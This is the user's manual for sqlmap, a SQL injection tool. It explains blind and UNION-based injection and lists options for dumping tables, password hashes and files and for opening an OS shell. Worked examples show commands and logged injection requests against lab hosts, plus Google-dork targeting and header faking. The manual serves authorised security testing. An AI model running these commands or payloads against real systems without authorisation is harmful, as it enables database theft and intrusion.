sqlmap user's manual

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1 Introduction

sqlmap is an automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases,

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dump entire or user's specific DBMS tables/columns, run his own SQL SELECT statement, read specific files on the file system and much more.

1.1 Requirements

sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system since it only requires the Python interpreter version equal or above to 2.4. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter package installed and other Unices and MacOS X too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.

Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python official readline library on other operating systems.

1.2 Scenario

Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values on GET or POST parameters or HTTP Cookie values or HTTP User-Agent header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's back-end database management system or even be able to access the underlying operating system.

Consider that the target url is:

```
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
```

Assume that:

```
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2
```

is the same page as the original one and:

```
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2
```

differs from the original one, it means that you are in front of a SQL injection vulnerability in the id GET parameter of the index.php web application page which means that no IDS/IPS, no web application firewall, no parameters' value sanitization is performed on the server-side.

This is a quite common flaw in dynamic content web applications and it does not depend upon the backend database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project recently rated in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability, second only to Cross-Site Scripting .

Back to the scenario, probably the SQL SELECT statemenet into index.php has a syntax similar to the following SQL query, in pseudo PHP code:

```
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
```

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As you can see, appending any other syntatically valid SQL condition after a value for id such condition will take place when the web application passes the query to the back-end database management system that executes it, that is why the condition id=1 AND 1=1 is valid (*True*) and returns the same page as the original one, with the same content and without showing any SQL error message.

Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like [...]&id=1; ANOTHER SQL QUERY-

Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the id parameter value in the HTTP request.

There exist many resources on the Net explaining in depth how to prevent and how to exploit SQL injection vulnerabilities and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.

Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 to sqlmap, the tool will automatically:

- Identify the vulnerable parameter(s) (id in this scenario);
- Depending on the user's options, sqlmap uses the **blind SQL injection** or the **inband SQL injection** technique as described in the following section to go ahead with the exploiting.

1.3 Techniques

sqlmap implements two techniques to exploit a SQL injection vulnerability:

- Blind SQL injection, also known as inference SQL injection: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a SELECT substatement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique.
- Inband SQL injection, also known as UNION query SQL injection: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a UNION ALL SELECT. This technique is useful if the web application page passes the output of the SELECT statement to a for cycle, or similar, so that each line of the query output is printed on the page content. This technique is much faster if the target url is affected by because in a single HTTP response it returns the whole query output within the page content. This SQL injection technique is an alternative to the first one.

It is strongly recommended to run at least once sqlmap with the -union-test option to test if the affected parameter is used within a for cycle, or similar, and in case use -union-use option to exploit this vulnerability because it saves a lot of time and it does not weight down the web server log file with hundreds of HTTP requests.

2 Features

Major features implemented in sqlmap include:

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• Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server back-end database management systems. Besides these four database management systems, sqlmap can also identify Microsoft Access, DB2, Informix, Sybase and Interbase.

- Extensive back-end database management system fingerprint based upon inband error messages, banner parsing, functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it.
- Full support for two SQL injection techniques: blind SQL injection and inband SQL injection.
- Options to retrieve on all four back-end database management system banner, current user, current database, enumerate users, users password hashes, users privileges, databases, tables, columns, dump tables entries, dump whole database management system and run your own SQL SELECT statement.
- If the back-end database management system is MySQL it is also possible to **read a specific file content** and in some circumstances **prompt for an interactive operating system shell** with TAB completion and history support.
- Automatically tests all provided **GET** parameters, **POST** parameters, HTTP **Cookie** header values and HTTP **User-Agent** header value to find the dynamic ones, which means those that vary the HTTP response page content. On the dynamic ones sqlmap automatically tests and detects the ones affected by SQL injection. Each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three datatypes with zero to two parenthesis to correctly detect which is the SELECT statement syntax to perform further injections with. It is also possible to specify the parameter(s) that you want to perform tests and use for injection on.
- Option to specify the **maximum number of concurrent HTTP requests** to speed up the blind SQL injection algorithms (multithreading).
- HTTP Cookie header string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header.
- Automatically handle **HTTP** Set-Cookie header from target url, re-establishing of the session if it expires. Test and exploit on these values is supported too.
- HTTP Basic and Digest authentications support.
- Anonymous HTTP proxy support to pass by the HTTP requests to the target URL.
- Options to fake the HTTP Referer header value and the HTTP User-Agent header value specified by user or randomly selected from a text file.
- Support to increase the **verbosity level of output messages**: there exist **six levels**. The default level is 0 (silent) in which only warnings, errors and tracebacks, if they occur, will be shown.
- Estimated time of arrival support for each query, updated in real time while fetching the information to give to the user an overview on how long it will take to retrieve the output.
- Support to save the session (queries and their output, even if partially retrieved) in real time while fetching the data on a text file and resume the injection from this file in a second time.
- Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to save command line options on a configuration INI file.
- Integration with other IT security related open source projects, Metasploit and w3af .

• PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR, or similar, database management system function.

3 Download and update

sqlmap can be downloaded from its SourceForge File List page. It is available in various formats:

- Source gzip compressed operating system independent.
- Source bzip2 compressed operating system independent.
- Source zip compressed operating system independent.
- DEB binary package architecture independent for Debian and any other Debian derivated GNU/Linux distribution.
- RPM binary package architecture independent for Fedora and any other operating system that can install RPM packages.
- Portable executable for Windows that **does not require the Python interpreter** to be installed on the operating system.

Whatever way you downloaded sqlmap, run it with -update option to update it to the latest stable version available on its SourceForge File List page.

You can also checkout the source code from the sqlmap Subversion repository to give a try to the development release:

```
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
```

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5 Usage

-u URL, --url=URL Target url

-g GOOGLEDORK Process Google dork results as target urls

-p TESTPARAMETER Testable parameter(s)

--method=METHOD HTTP method, GET or POST (default: GET)
--data=DATA Data string to be sent through POST

--cookie=COOKIE HTTP Cookie header
--referer=REFERER HTTP Referer header
--user-agent=AGENT HTTP User-Agent header

-a USERAGENTSFILE Load a random HTTP User-Agent header from file
--auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
--auth-cred=ACRED HTTP Authentication credentials, value: name:password

--proxy=PROXY Use a HTTP proxy to connect to the target url

--threads=THREADS Maximum number of concurrent HTTP requests (default 1)

--delay=DELAY Delay in seconds between each HTTP request

Injection:

--string=STRING String to match in page when the query is valid

--dbms=DBMS Force back-end DBMS to this value

Techniques:

These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique.

--time-test Test for Time based blind SQL injection
--union-test Test for UNION SELECT (inband) SQL injection
--union-use Use the UNION SELECT (inband) SQL injection to
retrieve the queries output. No need to go blind

Fingerprint:

-f, --fingerprint Perform an extensive database fingerprint

Enumeration:

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL SELECT queries.

-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--users Enumerate DBMS users
--passwords Enumerate DBMS users password

--passwords Enumerate DBMS users password hashes (opt: -U)
--privileges Enumerate DBMS users privileges (opt: -U)

--dbs Enumerate DBMS databases

--columns Enumerate DBMS database table columns (req:-T opt:-D)
--dump DBMS database table entries (req: -T, opt: -D,

-C, --start, --stop)

--dump-all Dump all DBMS databases tables entries

-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate

-U USER DBMS user to enumerate

--exclude-sysdbs Exclude DBMS system databases when enumerating tables

```
--start=LIMITSTART First table entry to dump
--stop=LIMITSTOP Last table entry to dump
--sql-query=QUERY SQL SELECT query to be executed
```

--sql-shell Prompt for an interactive SQL shell

File system access:

These options can be used to access the back-end database management system file system taking advantage of native DBMS functions or specific DBMS design weaknesses.

```
--read-file=RFILE Read a specific OS file content (only on MySQL)
--write-file=WFILE Write to a specific OS file (not yet available)
```

Operating system access:

This option can be used to access the back-end database management system operating system taking advantage of specific DBMS design weaknesses.

--os-shell Prompt for an interactive OS shell (only on PHP/MySQL environment with a writable directory within the web server document root for the moment)

Miscellaneous:

--eta Retrieve each query output length and calculate the estimated time of arrival in real time

-v VERBOSE Verbosity level: 0-5 (default 0)

--update Update sqlmap to the latest stable version

-s SESSIONFILE Save and resume all data retrieved on a session file

-c CONFIGFILE Load options from a configuration INI file
--save Save options on a configuration INI file

--batch Never ask for user input, use the default behaviour

5.1 Request

5.1.1 Target URL

Option: -u or -url

To run sqlmap on a single target URL.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2"
[...]
back-end DBMS: MySQL >= 5.0.0
```

5.1.2 Target URL and verbosity

Option: -v

Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is 0 (silent) in which only warnings, errors and tracebacks, if they occur, will be shown. Level 1 shows also info messages, level 2 show also debug messages, level 3 show also HTTP requests with all HTTP headers sent, level 4 show also HTTP responses headers and level 5 show also HTTP responses page content.

Example on a MySQL 5.0.51 target (verbosity level 1):

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1
     [hh:mm:01] [INFO] testing connection to the target url
     [hh:mm:01] [INFO] testing if the url is stable, wait a few seconds
     [hh:mm:02] [INFO] url is stable
     [hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
     [hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
     [hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic
     [hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic
     [hh:mm:02] [INFO] GET parameter 'id' is dynamic
     [hh:mm:02] [INFO] testing sql injection on GET parameter 'id'
     [hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id'
     [hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
     [hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable
     [hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic
     [hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic
     [hh:mm:02] [INFO] testing for parenthesis on injectable parameter
     [hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis
     [hh:mm:02] [INFO] testing MySQL
     [hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53))
     [hh:mm:02] [INFO] retrieved: 55
     [hh:mm:02] [INFO] performed 20 queries in 0 seconds
     [hh:mm:02] [INFO] confirming MySQL
     [hh:mm:02] [INFO] query: LENGTH(CHAR(53))
     [hh:mm:02] [INFO] retrieved: 1
     [hh:mm:02] [INFO] performed 13 queries in 0 seconds
     [hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
     [hh:mm:02] [INFO] retrieved: 5
     [hh:mm:02] [INFO] performed 13 queries in 0 seconds
     back-end DBMS:
                      MySQL >= 5.0.0
Example on a MySQL 5.0.51 target (verbosity level 2):
     $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2
     [hh:mm:34] [DEBUG] initializing the configuration
     [hh:mm:34] [DEBUG] initializing the knowledge base
     [hh:mm:34] [DEBUG] cleaning up configuration parameters
     [hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through
     [hh:mm:34] [DEBUG] creating HTTP requests opener object
     [hh:mm:34] [DEBUG] parsing XML queries file
     [hh:mm:34] [INFO] testing connection to the target url
     [hh:mm:34] [INFO] testing if the url is stable, wait a few seconds
     [hh:mm:35] [INFO] url is stable
     [hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
     [hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
     [hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic
     [...]
```

Example on a \mathbf{MySQL} 5.0.51 target (verbosity level 3):

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3
```

```
[...]
     [hh:mm:28] [INFO] testing connection to the target url
     [hh:mm:28] [TRAFFIC OUT] HTTP request:
     GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
     Host: 192.168.1.121:80
     User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
     Connection: close
     [...]
     [hh:mm:29] [INFO] testing MySQL
     [hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52))
     [hh:mm:29] [TRAFFIC OUT] HTTP request:
     GET /sqlmap/mysql/get_int.php?id=1%20AND%200RD%28MID%28%28C0NCAT%28CHAR%2852%29%2C%20
     CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
     Host: 192.168.1.121:80
     User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
     Connection: close
     [\ldots]
Example on a MySQL 5.0.51 target (verbosity level 4):
     $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4
     [hh:mm:32] [INFO] testing connection to the target url
     [hh:mm:32] [TRAFFIC OUT] HTTP request:
     GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
     Host: 192.168.1.121:80
     User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
     Connection: close
     [hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
     Date: Thu, 24 Jul 2008 14:00:32 GMT
     Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ss1/2.2.8
     OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
     X-Powered-By: PHP/5.2.4-2ubuntu5.2
     Content-Length: 127
     Connection: close
     Content-Type: text/html
     [\ldots]
     [hh:mm:33] [INFO] testing MySQL
     [hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52))
     [hh:mm:33] [TRAFFIC OUT] HTTP request:
     GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
     CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
     Host: 192.168.1.121:80
     User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
     Connection: close
     [hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
     Date: Thu, 24 Jul 2008 14:00:33 GMT
     Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
     OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
     X-Powered-By: PHP/5.2.4-2ubuntu5.2
     Content-Length: 75
```

```
Connection: close
     Content-Type: text/html
     [...]
Example on a MySQL 5.0.51 target (verbosity level 5):
     $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5
     [...]
     [hh:mm:23] [INFO] testing connection to the target url
     [hh:mm:23] [TRAFFIC OUT] HTTP request:
     GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
     Host: 192.168.1.121:80
     User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
     Connection: close
     [hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
     Date: Thu, 24 Jul 2008 14:02:23 GMT
     Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
     OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
     X-Powered-By: PHP/5.2.4-2ubuntu5.2
     Content-Length: 127
     Connection: close
     Content-Type: text/html
     <html><body>
     <b>SQL results:</b>
     </body></html>
     Γ...1
     [hh:mm:24] [INFO] testing MySQL
     [hh:mm:24] \hspace*{0.2cm} \hbox{[INFO]} \hspace*{0.2cm} \hbox{query: CONCAT(CHAR(51), CHAR(51))} \\
     [hh:mm:24] [TRAFFIC OUT] HTTP request:
     GET /sqlmap/mysql/get_int.php?id=1%20AND%20RD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
     CHAR %2851 %29 %29 %20 %20 1 %20 1 %20 20 1 %29 %20 %3E %20 63 %20 AND %20 1855 = 1855 & cat = 2 HTTP / 1.1
     Host: 192.168.1.121:80
     User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
     Connection: close
     [hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
     Date: Thu, 24 Jul 2008 14:02:24 GMT
     Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
     OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
     X-Powered-By: PHP/5.2.4-2ubuntu5.2
     Content-Length: 75
     Connection: close
     Content-Type: text/html
     <html><body>
     <b>SQL results:</b>
     </body></html>
```

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5.1.3 Process Google dork results as target urls

Option: -g

Rather than providing a target URL it is also possible to test and inject on GET parameters on the results of your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.

Example of Google dorking with expression site:yourdomain.com inurl:example.php:

```
$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1
[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
testable hosts
[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this
url? [y/N/q] n
[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this
url? [y/N/q] n
[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
```

5.1.4 Testable parameter(s)

Option: -p

By default sqlmap tests all GET parameters, POST parameters, HTTP Cookie header values and HTTP User-Agent header value for dynamicity and SQL injection vulnerability, but it is possible to manually specificy the parameter(s) you want sqlmap to perform tests on comma separeted in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s).

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
   -p id

[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
```

```
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
[...]
```

Or, if you want to provide more than one parameter, for instance:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
    -p "cat,id"
```

You can also test only the HTTP User-Agent header.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
 -p user-agent --user-agent "sqlmap/0.6.3 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:41] [INFO] url is stable
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:41] [INFO] testing MySQL
[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
[hh:mm:41] [INFO] retrieved: 44
[hh:mm:41] [INFO] performed 20 queries in 0 seconds
[hh:mm:41] [INFO] confirming MySQL
[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:41] [INFO] retrieved: 4
[hh:mm:41] [INFO] performed 13 queries in 0 seconds
back-end DBMS: MySQL >= 5.0.0
```

5.1.5 HTTP method: GET or POST

Options: -method and -data

By default the HTTP method used to perform HTTP requests is GET, but you can change it to POST and provide the data to be sent through POST request. Such data, being those parameters, are tested for SQL injection like the GET parameters.

Example on an Oracle XE 10.2.0.1 target:

```
$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \setminus
  --data "id=1&cat=2"
[hh:mm:53] [INFO] testing connection to the target url
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:54] [INFO] url is stable
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic
[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic
[\ldots]
[hh:mm:54] [INFO] testing Oracle
[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
[hh:mm:54] [INFO] retrieved: 9
[hh:mm:54] [INFO] performed 13 queries in 0 seconds
[hh:mm:54] [INFO] confirming Oracle
[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
[hh:mm:55] [INFO] performed 76 queries in 0 seconds
back-end DBMS:
                  Oracle
```

5.1.6 HTTP Cookie header

Option: -cookie

This feature can be useful in two scenarios:

- The web application requires authentication based upon cookies and you have such data.
- You want to test for and exploit SQL injection on such header values.

The steps to go through in the second scenario are the following:

- On Firefox web browser login on the web authentication form while dumping URL requests with TamperData browser's extension.
- In the horizontal box of the extension select your authentication transaction then in the left box on the bottom click with the right button on the Cookie value, then click on Copy to save its value to the clipboard.
- Go back to your shell and run sqlmap.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
    "id=1;cat=2" -v 1

[hh:mm:37] [INFO] testing connection to the target url
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:38] [INFO] url is stable
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
[...]
```

Note that the HTTP Cookie header values are separated by a ; character, not by an &.

If the web application at first HTTP response has within the HTTP headers a Set-Cookie header, sqlmap will automatically use it in all HTTP requests as the HTTP Cookie header and also test for SQL injection on these values.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
[\ldots]
[hh:mm:39] [INFO] testing connection to the target url
[hh:mm:39] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Host: 192.168.1.125:80
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close
[...]
[hh:mm:40] [INFO] url is stable
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
[hh:mm:40] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Host: 192.168.1.125:80
Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
```

If you provide an HTTP Cookie header value and the target URL sends an HTTP Set-Cookie header, sqlmap asks you which one to use in the following HTTP requests.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1" [hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
```

own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie values that you provided? [Y/n]

5.1.7 HTTP Referer header

Option: -referer

It is possible to fake the HTTP Referer header value with this option. By default no HTTP Referer heder is sent in HTTP requests.

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \
    "http://www.google.com" -v 3

[...]
[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [TRAFFIC OUT] HTTP request:
GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
Referer: http://www.google.com
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
```

5.1.8 HTTP User-Agent header

Options: -user-agent and -a

By default sqlmap perform HTTP requests providing the following HTTP User-Agent header value:

```
sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
```

It is possible to fake it with the -user-agent option.

Example on an Oracle XE 10.2.0.1 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
    --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

[...]
[hh:mm:02] [INFO] testing connection to the target url
[hh:mm:02] [TRAFFIC OUT] HTTP request:
GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Connection: close
[...]
```

Providing a text file, ./txt/user-agents.txt or any other file containing a list of at least one user agent, to the -a option, sqlmap will randomly select a User-Agent from the file and use it for all HTTP requests.

Example on a MySQL 5.0.51 target:

```
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
  -a "./txt/user-agents.txt"
[hh:mm:00] [DEBUG] initializing the configuration
[hh:mm:00] [DEBUG] initializing the knowledge base
[hh:mm:00] [DEBUG] cleaning up configuration parameters
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
